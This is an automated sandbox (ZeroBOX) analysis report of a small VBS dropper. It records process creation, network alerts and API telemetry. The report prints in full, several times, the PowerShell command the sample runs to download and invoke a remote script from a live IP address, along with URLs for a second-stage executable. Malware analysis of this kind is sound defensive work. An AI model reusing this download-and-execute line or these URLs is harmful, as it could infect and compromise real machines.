Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	April 23, 2025, 10:27 a.m.	April 23, 2025, 10:29 a.m.

Size	387.0B
Type	ASCII text, with CRLF line terminators
MD5	`99478b4bbce91c6b394be55e1b9df39d`
SHA256	`141910693b79092d276fbb3cbe8dbd34bf192c47555f434963ddb8b78c399c6c`
CRC32	`BBDD67CA`
ssdeep	`12:Kqah9IvEBhERMoTujuLEXixCmuQRekyyi8EzDmSTdQN9:KqaJToT62qF8Ymgd4`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\nums.vbs
2004
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgrnf/pik.ps1');[ScriptBlock]::Create($s).Invoke()"
  2072

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.39.17.70	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49164 -> 185.39.17.70:80	2032162	ET INFO PS1 Powershell File Request	Potentially Bad Traffic
TCP 192.168.56.103:49164 -> 185.39.17.70:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 185.39.17.70:80 -> 192.168.56.103:49164	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 185.39.17.70:80 -> 192.168.56.103:49164	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 185.39.17.70:80 -> 192.168.56.103:49164	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 23, 2025, 10:27 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 23, 2025, 10:27 a.m.			0	0

Command line console output was observed (10 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: Exception calling "Invoke" with "1" argument(s): "Exception calling "Load" with console_handle: 0x00000023	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: "1" argument(s): "Could not load file or assembly '559520 bytes loaded from Sy console_handle: 0x0000002f	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: stem.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31 console_handle: 0x0000003b	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: bf3856ad364e35' or one of its dependencies. An attempt was made to load a progr console_handle: 0x00000047	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: am with an incorrect format."" console_handle: 0x00000053	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: At line:1 char:123 console_handle: 0x0000005f	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: + $w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgr console_handle: 0x0000006b	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: nf/pik.ps1');[ScriptBlock]::Create($s).Invoke <<<< () console_handle: 0x00000077	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x00000083	1	1
WriteConsoleW April 23, 2025, 10:27 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000008f	1	1

Uses Windows APIs to generate a cryptographic key (48 events)

Time & API	Arguments	Status	Return
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc550 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cbe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cbe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cbe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cbe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cbe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cbe90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc690 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc910 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006ccc10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc9d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cca50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cca50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 23, 2025, 10:27 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006cc050 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 23, 2025, 10:27 a.m.		1	1	0

Powershell script has download & invoke calls (1 event)

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://185.39.17.70/zgrnf/pik.ps1
suspicious_features	GET method with no useragent header, Connection to IP address				suspicious_request	GET http://185.39.17.70/zgrnf/pixel.exe

Performs some HTTP requests (2 events)

request	GET http://185.39.17.70/zgrnf/pik.ps1
request	GET http://185.39.17.70/zgrnf/pixel.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 155 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02600000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72681000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72682000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02452000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02462000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02601000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02602000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0248a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02463000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02464000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02482000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02465000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0248c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02466000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02483000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02484000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02485000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02486000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02487000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02488000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02489000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a31000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a32000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a33000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a34000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a35000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a36000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a37000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a38000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a39000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a3a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a3b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a3e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a3f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a41000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 23, 2025, 10:27 a.m.	process_identifier: 2072 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04a44000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -Command "$w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgrnf/pik.ps1');[ScriptBlock]::Create($s).Invoke()"
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$w = New-Object Net.WebClient;$s = $w.DownloadString('http://185.39.17.70/zgrnf/pik.ps1');[ScriptBlock]::Create($s).Invoke()"

